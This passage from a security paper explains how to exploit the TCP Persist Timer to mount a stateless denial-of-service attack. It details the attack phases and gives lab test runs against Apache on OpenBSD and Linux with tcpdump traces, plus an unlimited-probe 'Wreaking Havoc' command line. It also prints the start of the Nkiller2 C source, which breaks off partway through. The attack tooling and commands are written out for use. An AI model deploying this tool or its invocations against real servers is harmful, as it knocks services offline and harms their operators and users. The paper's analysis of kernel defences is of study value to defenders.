rto = TCP_REXMTVAL(tp);

if (rto < tp‑>t_rttmin)

rto = tp‑>t_rttmin;

if (tp‑>t_rxtshift == TCP_MAXRXTSHIFT &&

((tcp_now ‑ tp‑>t_rcvtime) >= tcp_maxpersistidle || (tcp_now ‑ tp‑>t_rcvtime) >= rto * tcp_totbackoff)) { tcpstat.tcps_persistdrop++;

tp = tcp_drop(tp, ETIMEDOUT);

goto out;

}

tcp_setpersist(tp);

tp‑>t_force = 1;

(void) tcp_output(tp);

tp‑>t_force = 0;

out:

splx(s);

}

\‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This of course doesn't mean that the timers are connected in any other way. In fact, they are mutually exclusive, as when one of them is set the other is cleared.

Summing up, to successfully trigger and later exploit the Persist Timer the following prerequisites need to be met:

a) The amount of data requested needs to be big enough so that the userspace application cannot write the data all at once and issue a close(2), thus going into FIN_WAIT_1 state and marking the socket as SOCK_DEAD.

b) Assuming the default value of 'tcp_retries2', we need to send an ACK (still advertising a 0 window though) at least every less than 15 persist timer probes. This will be long enough to reset 'icsk_probes_out' back to zero and thus avoid the tcp_write_err() pitfall.

c) The zero window advertisement will have to take place immediately after acknowledging all the data in transit. This, of course, may include piggybacking the ACK of the data, with the window advertisement.

It is now time to dive into the nitty‑gritty details of the attack.

‑‑ [ 4 ‑ The attack

We are going to analyse the attack steps along with a tool that automates the whole procedure, Nkiller2. Nkiller2 is a major expansion of the original Nkiller I had written some time ago and which was based on the idea at [1]. Nkiller2 takes the attack to another level, that we shall discuss shortly.

‑‑‑‑ [ 4.1 ‑ Kernel memory exhaustion pitfalls

The idea presented at [1] was, at the time it was published, an almost deadly attack. Netkill's purpose was to exhaust the available kernel memory by issuing multiple requests that would go unanswered on the receiver's end as far as the ACKing of the data was concerned. These requests would hopefully involve the sending of a small amount of data, such that the user application would write the data all at once, issue a close(2) call and move on to serve the rest of the requests. As we mentioned before, as long as the application has closed the socket, the TCP state is going to become FIN_WAIT_1 in which the socket is marked as orphan, meaning it is detached from the userspace and doesn't anymore clog the connection queue. Hence, a rather big number of such requests can be made without being concerned that the user application will run out of available connection slots. Each request will partially fill the corresponding kernel buffers, thus bringing the system down to its knees after no more kernel memory is available.

However, the idea behind Netkill no longer poses a threat to modern network stack implementations. Most of them provide mechanisms that nullify the attack's potential by instantly killing any orphan sockets, in case of urgent need of memory. For example, Linux calls a specific handler, tcp_out_of_recources(), which deals with such situations.

net/ipv4/tcp_timer.c:

/‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* Do not allow orphaned sockets to eat all our resources.

* This is direct violation of TCP specs, but it is required * to prevent DoS attacks. It is called when a retransmission timeout * or zero probe timeout occurs on orphaned socket.

*

* Criteria is still not confirmed experimentally and may change. * We kill the socket, if:

* 1. If number of orphaned sockets exceeds an administratively configured * limit.

* 2. If we have strong memory pressure.

*/

static int tcp_out_of_resources(struct sock *sk, int do_reset) {

struct tcp_sock *tp = tcp_sk(sk);

int orphans = atomic_read(&tcp_orphan_count);

/* If peer does not open window for long time, or did not transmit

* anything for long time, penalize it. */

if ((s32)(tcp_time_stamp ‑ tp‑>lsndtime) > 2*TCP_RTO_MAX || !do_reset) orphans <<= 1;

/* If some dubious ICMP arrived, penalize even more. */

if (sk‑>sk_err_soft)

orphans <<= 1;

if (orphans >= sysctl_tcp_max_orphans || (sk‑>sk_wmem_queued > SOCK_MIN_SNDBUF && atomic_read(&tcp_memory_allocated) > sysctl_tcp_mem[2])) { if (net_ratelimit())

printk(KERN_INFO "Out of socket memory\n");

/* Catch exceptional cases, when connection requires reset.

* 1. Last segment was sent recently. */

if ((s32)(tcp_time_stamp ‑ tp‑>lsndtime) <= TCP_TIMEWAIT_LEN || /* 2. Window is closed. */

(!tp‑>snd_wnd && !tp‑>packets_out)) do_reset = 1;

if (do_reset)

tcp_send_active_reset(sk, GFP_ATOMIC); tcp_done(sk); NET_INC_STATS_BH(LINUX_MIB_TCPABORTONMEMORY); return 1;

}

return 0;

}

\‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The comments and the code speak for themselves. tcp_done() moves the TCP state to TCP_CLOSE, essentially killing the connection, which will probably be in FIN_WAIT_1 state at that time (the tcp_done function is also called by tcp_write_err() mentioned above).

In addition to the above pitfall, the way Netkill works, wastes a lot of bandwidth from both sides, making the attack more noticeable and less efficient. Netkill sends a flurry of syn packets to the victim, waits for the SYNACK and responds by completing the 3way handshake and piggybacking the payload request in the current ACK. Since, any data replies from the victim's user application (usually a web server) will go unanswered, TCP will start retransmitting these packets. These packets, however, are ones that carry a load of data with them, whose size is proportional to the initial window and mss advertised. The minimum amount of data is usually 512 bytes, which given the vast amount of retransmissions that will eventually take place, can lead to network congestion, lost packets and sysadmin red alarms.

As we can see, kernel memory exhaustion is not an easily accomplished option in today's operating systems, at least by means of a generic DoS attack. The attack vector has to be adapted to current circumstances.

‑‑‑‑ [ 4.2 ‑ Attack Vector

Our goal is to perform a generic DoS attack that meets the following criteria:

a) The duration of the attack has to be prolonged as long as possible. The TCP Persist Timer exploitation extends the duration to infinity. The only time limits that will take place will be the ones imposed by the userspace application.

b) No resources will be spent on our part to keep any kind of state information from the victim. Any memory resources spent will be O(1), which means regardless of the number of probes we send to the victim, our own memory needs will never surpass a certain initial amount.

c) Bandwidth throttling will be kept to a minimum. Traffic congestion has to be avoided if possible.

d) The attack has to affect the availability of both the userspace application as well as the kernel, at the extent that this is feasible.

To meet requirement 'b', we are going to use a packet‑triggering behaviour and the, now old, technique of reverse (or client) syn cookies. Basically, this means that our answers will strictly depend on nothing else other than the packets received from the victim. How is this even possible? We are going to use a series of packet‑parsing techniques and craft the packets in such a way that they carry within themselves any information that is needed to make decisions.

The general procedure will go like this:

‑ Phase 1.

Attacker sends a group of SYN packets to the victim. In the sequence number field, he has encoded a magic number that stems from the cryptographic hash of { destination IP & port, source IP & port } and a secret key. By this way, he can discern if any SYNACK packet he gets, actually corresponds to the SYN packets he just sent. He can accomplish that by comparing the (ACK seq number ‑ 1) of the victim's SYNACK reply with the hash of the same packet's socket quadruple based on the secret key. We subtract 1, since the SYN flag occupies one sequence number as stated by RFC 793. The above technique is known as reverse syn cookies, since they differ from the usual syn cookies which protect from syn flooding, in that they are used from the reverse side, namely the client and not the server. Responsible for the cookie calculation and subsequent encoding is Nkiller2's calc_cookie() function.

Now, apart from the sequence number encoding, we are also going to use a nifty facility that TCP provides, as means to our own ends. The TCP Timestamp Option is normally used as another way to estimate the RTT. The option uses two 32bit fields, 'tsval' which is a value that increases monotonically by the TCP timestamp clock and which is filled in by the current sender and 'tsecr' ‑ timestamp echo reply ‑ which is the peer's echoed value as stated in the tsval of the packet to which the current one replies. The host initiating the connection places the option in the first SYN packet, by filling tsval with a value, and zeroing tsecr. Only if the peer replies with a Timestamp in the SYNACK packet, can any future segments keep containing the option. build_timestamp() embeds the timestamp option in the crafted TCP header, while get_timestamp() extracts it from a packet reply.

TCP Timestamps Option (TSopt):

Kind: 8

Length: 10 bytes

+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑

|Kind=8 | 10 | TS Value (TSval) |TS Echo Reply (TSecr)|

+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑

1 1 4 4

We are going to use the Timestamp option as a means to track time. We will later have to exploit the TCP Persist Timer and eventually answer to some of his probes, but this will have to involve calculating how much time has passed. Consequently, we are going to encode our own system's current time inside the first 'tsval'. In the SYNACK reply that we are going to get, 'tsecr' will reflect that same value. Thus, by subtracting the value placed in the echo reply field from the current system time, we can deduce how much time has passed since our last packet transmission without keeping any stateful information for each probe. We are going to extract and encode timestamp information from every packet hereafter. Timestamps are supported by every modern network stack implementation, so we aren't going to have any trouble dealing with them.

‑ Phase 2.

The victim replies with a SYNACK to each of the attacker's initial SYN probes. These kinds of packets are really easy to differentiate between the rest of the ones we will be receiving, since no other packet will have both the SYN flag and the ACK flag set. In addition, as we noted above, we can realize if these packets actually belong to our own probes and not some other connection happening at the same time to the host, by using the reverse syn cookie technique.

We have to mention here that under no circumstances should our system's kernel be let to affect any of our connections. Thus, we should take care beforehand to have filtered any traffic destined to or coming from the victim's attacked ports.

Having gotten the victim's SYNACK replies, we complete the 3way handshake by sending the ACK required (send_probe: S_SYNACK). We also piggyback the data of the targeted userspace application request. We save bandwidth, time and trouble by adopting a perfectly allowable behaviour. Nothing else exciting happens here.

‑ Phase 3.

Now things get a bit more complicated. It is here that the road starts forking depending on the target host's network stack implementation. Nkiller2 uses the notion of virtual states, as I called them, which are a way to differentiate between each unique case by parsing the packet for relevant information. The handler responsible for parsing the victim's replies and deciding the next virtual state is check_replies(). It sets the variable 'state' accordingly and main() can then deduce inside it's main loop the next course of action, essentially by calling the generic send_probe() packet‑crafter with the proper state argument and updating some of its own loop variables.

First case: the target host sends a pure ACK (meaning a packet with no data), which acknowledges our payload sent in Phase 2. This virtual state is mentioned as S_FDACK (State ‑ First Data Acknowledgment) in the Nkiller2 codebase.

Second case: the target host sends the ACK which acknowledged our payload from Phase 2, piggybacked with the first data reply of the userspace application to which we made the request. This usually happens due to the Delayed Acknowledgment functionality according to which, TCP waits some time (class of microseconds) to see if there are any data which it can send along with an ACK.

Usually, Linux behaviour follows the first case while *BSD and Windows follow the second. The critical question here is when to send the zero window advertisement. Ideally, we could reply to the first case's pure ACK with an ACK of our own (with the same acknowledgment number as the sequence number in the victim's packet) that advertised a zero window. However, in most cases we won't have that chance, since the victim's TCP will send, immediately after this pure ACK, the first data of the userspace application in a separate segment. Thus, if we advertise a zero window when the opposite TCP has already wrote to the network the first data, we will fail to trigger the Persist Timer as we saw during the analysis in part 3 of this paper. Consequently, we play it safe and choose to ignore the FDACK and wait for the first segment of data to arrive.

‑ Phase 4

This stage also differs from one operating system to another, since it is deeply connected to Phase 3. For every number mentioned from now on, assume that Nkiller's initial window advertisement and mss is 1024. Linux, under normal circumstances, will send two data segments with a minimum amount of 512 bytes each. Additionally, any data segment following the first one, will have the PUSH flag set. On the other hand, *BSD and BSD‑derivative implementations will send one bigger data segment of 1024 bytes, without setting the PUSH flag.

To be able to take the right decisions for each unique case involved, Nkiller2 will have to be provided with a template number. It is trivial to identify the different network stacks by using already existing tools, so when you are unsure about the target system, either use Nmap's OS fingerprinting capability or at worst, a trial‑and‑error method. At the moment with only 2 different templates (T_LINUX and T_BSDWIN), Nkiller2 is able to work against a vast amount of systems.

In the default template (Linux), Nkiller2 is going to send a zero window advertisement on the ACK of the second segment (which is going to involve acking the first segment as well), while when dealing with BSD or Windows, it will send it on the ACK of the first and only data segment. The resolving between these two cases takes place in send_probe()'s main body in 'case S_DATA_0' (State ‑ Data 0, as in first data packet).

‑ Phase 5

Having successfully sent the zero window packet (regardless of how and when that happened), the target host's TCP will start sending zero probes. This is where we accomplish meeting requirement 'c' ‑ bandwidth waste limitation. Every retransmission that will take place, will involve pure ACKs (Linux) or at maximum 1 byte of data (BSD/Windows). Every zero probe is only 52 bytes long, counting TCP/IP headers and the TCP Timestamp option, in contrast with the size of the retransmission packets (512 + 40 bytes or 1024 + 40 bytes each) that would take place if we had triggered the TCP retransmission timer, as in netkill's case. An interesting issue here is to decide on when is the best time to reply to the zero probes, so that the TCP persist timer is ideally prolonged to last forever with the fewest packets possible. Using the TCP timestamp technique, we can calculate the time elapsed from the moment we sent the zero window advertisement (since that was our last packet and that one's time value will be echoed in 'tsecr') to the moment we got the packet.

check_replies()

/‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

if (get_timestamp(tcp, &tsval, &tsecr)) {

if (gettimeofday(&now, NULL) < 0) fatal("Couldn't get time of day\n"); time_elapsed = now.tv_sec ‑ tsecr;

if (o.debug)

(void) fprintf(stdout, "Time elapsed: %u (sport: %u)\n", time_elapsed, sockinfo.sport);

}

...

if (ack == calc_ack && (!datalen || datalen == 1) && time_elapsed >= o.probe_interval) {

state = S_PROBE;

goodone++;

break;

}

\‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hence, we can decide on whether or not we should send a reply to the current zero probe (S_PROBE), depending on a predetermined rough estimate of the time lapse. We also use this 'probe_interval' value to differentiate between a zero probe and the FDACK, since there are no other packet characteristics, apart from time arrival, that we can take into account in this stateless manner. This phase marks the accomplishment of our 1st goal ‑ prolonging the attack to as much as possible.

A graphical representation of the procedure is shown below. Remember that the states are purely virtual. We do not keep any kind of information on our part.

(cookie OK) +‑‑‑‑‑‑‑‑‑‑+

SYN ‑‑‑‑‑‑‑‑‑‑‑‑‑> | S_SYNACK |

rcv SYNACK +‑‑‑‑‑‑‑‑‑‑+

|

ACK SYNACK |

send request |

| pure ACK +‑‑‑‑‑‑‑‑‑+

| ‑‑‑‑‑‑‑‑‑‑‑‑S_FDACK |

| time_elapsed < +‑‑‑‑‑‑‑‑‑+

| probe_interval ignore

|

got Data |

V

+‑‑‑‑‑‑‑‑‑‑+

| S_DATA_0 |

+‑‑‑‑‑‑‑‑‑‑+

|

/ \

/ \

T_BSDWIN / \ T_LINUX (default)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑/ \ ‑‑‑‑‑‑‑‑

|

| got Data (PSH)

| ACK(data0)

V V

ACK(data0) & +‑‑‑‑‑‑‑‑‑‑

send 0 window | S_DATA_1 |

|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑

\ / ACK(data1) & send 0 window

\ /

\ /

\ /

|‑‑‑‑‑‑> time_elapsed >= probe_interval

| |

| |

| V

| +‑‑‑‑‑‑‑‑‑+

| | S_PROBE | ‑‑‑‑‑‑‑‑> send probe reply

| +‑‑‑‑‑‑‑‑‑+

| |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

The only thing that still needs to be answered is to what extent we have achieved goal 'd'. How efficient is the attack really? The answer is, that it depends on what we are attacking. Attacking one userspace application will usually lead to either backlog queue collapse or reaching the maximum allowable number of concurrent accepted connections. In both cases, the availability of the userspace application will drop down to zero and will stay in that condition for a possibly unlimited amount of time. Keep in mind though that robust server applications like Apache have a Timeout of their own, which is independent of TCP's. Quoting from Apache's manual:

"The TimeOut directive currently defines the amount of time Apache will wait for three things:

1. The total amount of time it takes to receive a GET request. 2. The amount of time between receipt of TCP packets on a POST or PUT request.

3. The amount of time between ACKs on transmissions of TCP packets in responses."

By default, Apache httpd's TimeOut = 300 which means 5 minutes. Following a similar approach, lighttpd's default timeout is about 6 minutes. Even then, as long as the attack cycle continues (Hint: Nkiller's option ‑n0), there is no hope for any server not protected by a stateful firewall that limits the total number of packets reaching the host (which still won't be enough by itself given the TCP Persist Timer's exploitation).

At the same time, useful kernel resources are wasted on the SendQueue of each established connection. However, for kernel memory exhaustion to occur, we will have to perform a concurrent attack at multiple applications (Nkiller2 isn't optimized for this though). By this way, the amount of kernel resources wasted will be proportional to the number of the attacked applications and the amount of successful connections on each of them. Even if one service is brought down temporarily for one reason or another, there will still be the other applications wasting memory with a filled up TCP SendQueue.

‑‑‑‑ [ 4.3 Test cases

Time for some real world examples. We are going to demonstrate how Nkiller2 exploits the Persist Timer functionality and at the same time point out the different behaviour that is exhibited from a Linux system in contrast with an OpenBSD system. The file requested has to be more than 4.0 Kbytes (experimental value).

‑ Test Case 1.

Attacker: 10.0.0.12, Linux 2.6.26

Target: 10.0.0.50, Apache1.3, OpenBSD 4.3

# iptables ‑A INPUT ‑s 10.0.0.50 ‑p tcp ‑‑dport 80 ‑j DROP

# iptables ‑A INPUT ‑s 10.0.0.50 ‑p tcp ‑‑sport 80 ‑j DROP

# ./nkiller2 ‑t 10.0.0.50 ‑p80 ‑w /file ‑v ‑n1 ‑T1 ‑P120 ‑s0 ‑g

Starting Nkiller 2.0 ( http://sock‑raw.org )

Probes: 1

Probes per round: 100

Pcap polling time: 100 microseconds

Sleep time: 0 microseconds

Key: Nkiller31337

Probe interval: 120 seconds

Template: BSD | Windows

Guardmode on

# tcpdump port 80 and host 10.0.0.50 ‑n

08:55:30.017021 IP 10.0.0.12.40428 > 10.0.0.50.80: S 3456779693: 3456779693(0) win 1024 <timestamp 1232693730 0,nop,nop,mss 1024> 08:55:30.017280 IP 10.0.0.50.80 > 10.0.0.12.40428: S 3072651811: 3072651811(0) ack 3456779694 win 16384 <mss 1460,nop,nop,timestamp 464912143 1232693730>

08:55:30.017461 IP 10.0.0.12.40428 > 10.0.0.50.80: . 1:23(22) ack 1 win 1024 <timestamp 1232693730 464912143,nop,nop> 08:55:30.019288 IP 10.0.0.50.80 > 10.0.0.12.40428: . 1:1013(1012) ack 23 win 17204 <nop,nop,timestamp 464912143 1232693730> 08:55:30.019311 IP 10.0.0.12.40428 > 10.0.0.50.80: . ack 1013 win 0 <timestamp 1232693730 464912143,nop,nop>

08:55:35.009929 IP 10.0.0.50.80 > 10.0.0.12.40428: . 1013:1014(1) ack 23 win 17204 <nop,nop,timestamp 464912153 1232693730> 08:55:40.009505 IP 10.0.0.50.80 > 10.0.0.12.40428: . 1013:1014(1) ack 23 win 17204 <nop,nop,timestamp 464912163 1232693730> 08:55:45.009056 IP 10.0.0.50.80 > 10.0.0.12.40428: . 1013:1014(1) ack 23 win 17204 <nop,nop,timestamp 464912173 1232693730> 08:55:53.008388 IP 10.0.0.50.80 > 10.0.0.12.40428: . 1013:1014(1) ack 23 win 17204 <nop,nop,timestamp 464912189 1232693730> 08:56:09.007027 IP 10.0.0.50.80 > 10.0.0.12.40428: . 1013:1014(1) ack 23 win 17204 <nop,nop,timestamp 464912221 1232693730> 08:56:41.004286 IP 10.0.0.50.80 > 10.0.0.12.40428: . 1013:1014(1) ack 23 win 17204 <nop,nop,timestamp 464912285 1232693730> 08:57:40.999239 IP 10.0.0.50.80 > 10.0.0.12.40428: . 1013:1014(1) ack 23 win 17204 <nop,nop,timestamp 464912405 1232693730> 08:57:40.999910 IP 10.0.0.12.40428 > 10.0.0.50.80: . ack 1013 win 0 <timestamp 1232693860 464912405,nop,nop>

...

Notice that OpenBSD transmits httpd's initial data in one segment in which the ACK to our payload is included. Nkiller2 acknowledges that packet, advertising at the same time a zero window. After that, OpenBSD's TCP transmits a zero probe and sets the Persist Timer. After a little more than 120 seconds (57:40 ‑ 55:30), we answer to the Persist Timer's probe. Note that we specified the probe_interval with the option ‑P120 (approximately 120 seconds).

‑ Test Case 2.

Attacker: 10.0.0.12, Linux 2.6.26

Target: 10.0.0.101, Apache2.2.3, Debian "etch" (2.6.18)

# iptables ‑A INPUT ‑s 10.0.0.101 ‑p tcp ‑‑dport 80 ‑j DROP

# iptables ‑A INPUT ‑s 10.0.0.101 ‑p tcp ‑‑sport 80 ‑j DROP

# ./nkiller2 ‑t 10.0.0.101 ‑p80 ‑w /file ‑n1 ‑T0 ‑P50 ‑s0 ‑v

Starting Nkiller 2.0 ( http://sock‑raw.org )

Probes: 1

Probes per round: 100

Pcap polling time: 100 microseconds

Sleep time: 0 microseconds

Key: Nkiller31337

Probe interval: 50 seconds

Template: Linux

# tcpdump port 80 and host 10.0.0.101 ‑n

01:09:33.350783 IP 10.0.0.12.26528 > 10.0.0.101.80: S 3497611066: 3497611066(0) win 1024 <timestamp 1232752173 0,nop,nop,mss 1024> 01:09:33.350893 IP 10.0.0.101.80 > 10.0.0.12.26528: S 2167814821: 2167814821(0) ack 3497611067 win 5792 <mss 1460,nop,nop,timestamp 4294906445 1232752173>

01:09:33.351189 IP 10.0.0.12.26528 > 10.0.0.101.80: . 1:23(22) ack 1 win 1024 <timestamp 1232752173 4294906445,nop,nop> 01:09:33.351308 IP 10.0.0.101.80 > 10.0.0.12.26528: . ack 23 win 5792 <nop,nop,timestamp 4294906445 1232752173>

01:09:33.382100 IP 10.0.0.101.80 > 10.0.0.12.26528: . 1:513(512) ack 23 win 5792 <nop,nop,timestamp 4294906452 1232752173> 01:09:33.382138 IP 10.0.0.101.80 > 10.0.0.12.26528: P 513:1025(512) ack 23 win 5792 <nop,nop,timestamp 4294906452 1232752173> 01:09:33.389359 IP 10.0.0.12.26528 > 10.0.0.101.80: . ack 513 win 512 <timestamp 1232752173 4294906452,nop,nop>

01:09:33.389508 IP 10.0.0.12.26528 > 10.0.0.101.80: . ack 1025 win 0 <timestamp 1232752173 4294906452,nop,nop>

01:09:33.590164 IP 10.0.0.101.80 > 10.0.0.12.26528: . ack 23 win 5792 <nop,nop,timestamp 4294906505 1232752173>

01:09:33.998135 IP 10.0.0.101.80 > 10.0.0.12.26528: . ack 23 win 5792 <nop,nop,timestamp 4294906607 1232752173>

01:09:34.814073 IP 10.0.0.101.80 > 10.0.0.12.26528: . ack 23 win 5792 <nop,nop,timestamp 4294906811 1232752173>

01:09:36.445959 IP 10.0.0.101.80 > 10.0.0.12.26528: . ack 23 win 5792 <nop,nop,timestamp 4294907219 1232752173>

01:09:39.709739 IP 10.0.0.101.80 > 10.0.0.12.26528: . ack 23 win 5792 <nop,nop,timestamp 4294908035 1232752173>

01:09:46.237279 IP 10.0.0.101.80 > 10.0.0.12.26528: . ack 23 win 5792 <nop,nop,timestamp 4294909667 1232752173>

01:09:59.292377 IP 10.0.0.101.80 > 10.0.0.12.26528: . ack 23 win 5792 <nop,nop,timestamp 4294912931 1232752173>

01:10:25.402550 IP 10.0.0.101.80 > 10.0.0.12.26528: . ack 23 win 5792 <nop,nop,timestamp 4294919459 1232752173>

01:10:25.427760 IP 10.0.0.12.26528 > 10.0.0.101.80: . ack 1024 win 0 <timestamp 1232752225 4294919459,nop,nop>

...

Linux first sends a pure ACK (which is ignored by Nkiller2) and then transmits the first 2 data segments (512 bytes each). Nkiller2 waits until both of them arrive and acknowledges them with one zero window ACK packet. Linux then starts sending us zero probes (which have a datalength equal to zero in constrast with *BSD which send 1 byte of data), that go unanswered until about (10:25 ‑ 09:33) 50 seconds pass.

‑ Test Case 'Wreaking Havoc'

# nkiller2 ‑t <target> ‑p80 ‑w <path> ‑n0 ‑T0 ‑P100 ‑s0 ‑v ‑N100

‑n0: unlimited probes

‑N100: will send 100 SYN probes per round (a round finishes when we either get a data segment or a zero probe)

Use at your own discretion.

‑‑ [ 5 ‑ Nkiller2 implementation

/*

* Nkiller 2.0 ‑ a TCP exhaustion/stressing tool

* Copyright (C) 2009 ithilgore <ithilgore.ryu.L@gmail.com> * sock‑raw.org

*

* This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version.

*

* This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details.

*

* You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>.

*/

/*

* COMPILATION:

* gcc nkiller2.c ‑o nkiller2 ‑lpcap ‑lssl ‑Wall ‑O2

* Has been tested and compiles successfully on Linux 2.6.26 with gcc * 4.3.2 and FreeBSD 7.0 with gcc 4.2.1

*/

/*

* Enable BSD‑style (struct ip) support on Linux.

*/

#ifdef __linux__

# ifndef __FAVOR_BSD

# define __FAVOR_BSD

# endif

# ifndef __USE_BSD

# define __USE_BSD

# endif

# ifndef _BSD_SOURCE

# define _BSD_SOURCE

# endif

# define IPPORT_MAX 65535u

#endif

#include <sys/types.h>

#include <sys/socket.h>

#include <arpa/inet.h>

#include <netinet/in.h>

#include <netinet/in_systm.h>

#include <netinet/ip.h>

#include <netinet/tcp.h>

#include <openssl/hmac.h>

#include <errno.h>

#include <pcap.h>

#include <stdarg.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sysexits.h>

#include <time.h>

#include <unistd.h>

#include <getopt.h>

#define DEFAULT_KEY "Nkiller31337"

#define DEFAULT_NUM_PROBES 100000

#define DEFAULT_PROBES_RND 100

#define DEFAULT_POLLTIME 100

#define DEFAULT_SLEEP_TIME 100

#define DEFAULT_PROBE_INTERVAL 150

#define WEB_PAYLOAD "GET / HTTP/1.0\015\012\015\012"

/* Timeval subtraction in microseconds */

#define TIMEVAL_SUBTRACT(a, b) \

(((a).tv_sec ‑ (b).tv_sec) * 1000000L + (a).tv_usec ‑ (b).tv_usec)

/*

* Pseudo‑header used for checksumming; this header should never * reach the wire

*/

typedef struct pseudo_hdr {

uint32_t src;

uint32_t dst;

unsigned char mbz;

unsigned char proto;

uint16_t len;

} pseudo_hdr;

/*

* TCP timestamp struct

*/

typedef struct tcp_timestamp {

char kind;

char length;

uint32_t tsval __attribute__((__packed__));

uint32_t tsecr __attribute__((__packed__));

char padding[2];

} tcp_timestamp;

/*

* TCP Maximum Segment Size

*/

typedef struct tcp_mss {

char kind;

char length;

uint16_t mss __attribute__((__packed__));

} tcp_mss;

/* Network stack templates */

enum {

T_LINUX,

T_BSDWIN

};

/* Possible replies */

enum {

S_ERR, /* no reply, RST, invalid packet etc */

S_SYNACK, /* 2nd part of initial handshake */

S_FDACK, /* first data ack ‑ in reply to our first data */

S_DATA_0, /* first data packet */

S_DATA_1, /* second data packet */

S_PROBE /* persist timer probe */

};

/*

* Ethernet header stuff.

*/

#define ETHER_ADDR_LEN 6

#define SIZE_ETHERNET 14

typedef struct ethernet {

u_char ether_dhost[ETHER_ADDR_LEN]; /* Destination host address */

u_char ether_shost[ETHER_ADDR_LEN]; /* Source host address */

u_short ether_type; /* Frame type */

} ether_hdr;

/*

* Global nkiller options struct

*/

typedef struct Options {

char target[16];

char skey[32];

char payload[256];

char path[256]; /* relative to virtual‑host/ip path */

char vhost[256]; /* virtual host name */

uint16_t *portlist;

unsigned int probe_interval; /* interval for our persist probe reply */

unsigned int probes; /* total number of fully‑connected probes */

unsigned int probes_per_rnd; /* number of probes per round */

unsigned int polltime; /* how many microsecods to poll pcap */

unsigned int sleep; /* sleep time between each probe */

int template; /* victim network stack template */

int dynamic; /* remove ports from list when we get RST */

int guardmode; /* continue answering to zero probes */

int verbose;

int debug; /* some debugging info */

int debug2; /* all debugging info */

} Options;

/*

* Port list types

*/

typedef struct port_elem {

uint16_t port_val;

struct port_elem *next;

} port_elem;

typedef struct port_list {

port_elem *first;

port_elem *last;

} port_list;

/*

* Host information

*/

typedef struct HostInfo {

struct in_addr daddr; /* target ip address */

char *payload;

char *url;

char *vhost;

size_t plen; /* payload length */

size_t wlen; /* http request length */

port_list ports; /* linked list of ports */

unsigned int portlen; /* how many ports */

} HostInfo;

typedef struct SniffInfo {

struct in_addr saddr; /* local ip */

pcap_if_t *dev;

pcap_t *pd;

} SniffInfo;

typedef struct Sock {

struct in_addr saddr;

struct in_addr daddr;

uint16_t sport;

uint16_t dport;

} Sock;

/* global vars */

Options o;

/**** function declarations ****/

/* helper functions */

static void fatal(const char *fmt, ...);

static void usage(void);

static void help(void);

static void *xcalloc(size_t nelem, size_t size);

static void *xmalloc(size_t size);

static void *xrealloc(void *ptr, size_t size);

/* port‑handling functions */

static void port_add(HostInfo *Target, uint16_t port);

static void port_remove(HostInfo *Target, uint16_t port); static int port_exists(HostInfo *Target, uint16_t port); static uint16_t port_get_random(HostInfo *Target);

static uint16_t *port_parse(char *portarg, unsigned int *portlen);

/* packet helper functions */

static uint16_t checksum_comp(uint16_t *addr, int len);

static void handle_payloads(HostInfo *Target);

static uint32_t calc_cookie(Sock *sockinfo);

static char *build_mss(char **tcpopt, unsigned int *tcpopt_len, uint16_t mss);

static int get_timestamp(const struct tcphdr *tcp, uint32_t *tsval, uint32_t *tsecr);

static char *build_timestamp(char **tcpopt, unsigned int *tcpopt_len, uint32_t tsval, uint32_t tsecr);

/* sniffing functions */

static void sniffer_init(HostInfo *Target, SniffInfo *Sniffer); static int check_replies(HostInfo *Target, SniffInfo *Sniffer, u_char **reply);

/* packet handling functions */

static void send_packet(char* packet, unsigned int *packetlen); static void send_syn_probe(HostInfo *Target, SniffInfo *Sniffer); static int send_probe(const u_char *reply, HostInfo *Target, int state); static char *build_tcpip_packet(const struct in_addr *source, const struct in_addr *target, uint16_t sport, uint16_t dport, uint32_t seq, uint32_t ack, uint8_t ttl, uint16_t ipid, uint16_t window, uint8_t flags, char *data, uint16_t datalen, char *tcpopt, unsigned int tcpopt_len, unsigned int *packetlen);

/**** function definitions ****/

/*

* Wrapper around calloc() that calls fatal when out of memory */

static void *

xcalloc(size_t nelem, size_t size)

{

void *p;

p = calloc(nelem, size);

if (p == NULL)

fatal("Out of memory\n");

return p;

}

/*

* Wrapper around xcalloc() that calls fatal() when out of memory */

static void *

xmalloc(size_t size)

{

return xcalloc(1, size);

}

static void *

xrealloc(void *ptr, size_t size)

{

void *p;

p = realloc(ptr, size);

if (p == NULL)

fatal("Out of memory\n");

return p;

}

/*

* vararg function called when sth _evil_ happens

* usually in conjunction with __func__ to note

* which function caused the RIP stat

*/

static void

fatal(const char *fmt, ...)

{

va_list ap;

va_start(ap, fmt);

(void) vfprintf(stderr, fmt, ap);

va_end(ap);

exit(EXIT_FAILURE);

}

/* Return network stack template */

static const char *

get_template(int template)

{

switch (template) {

case T_LINUX:

return("Linux");

case T_BSDWIN:

return("BSD | Windows");

default:

return("Unknown");

}

}

/*

* Print a short usage summary and exit

*/

static void

usage(void)

{

fprintf(stderr,

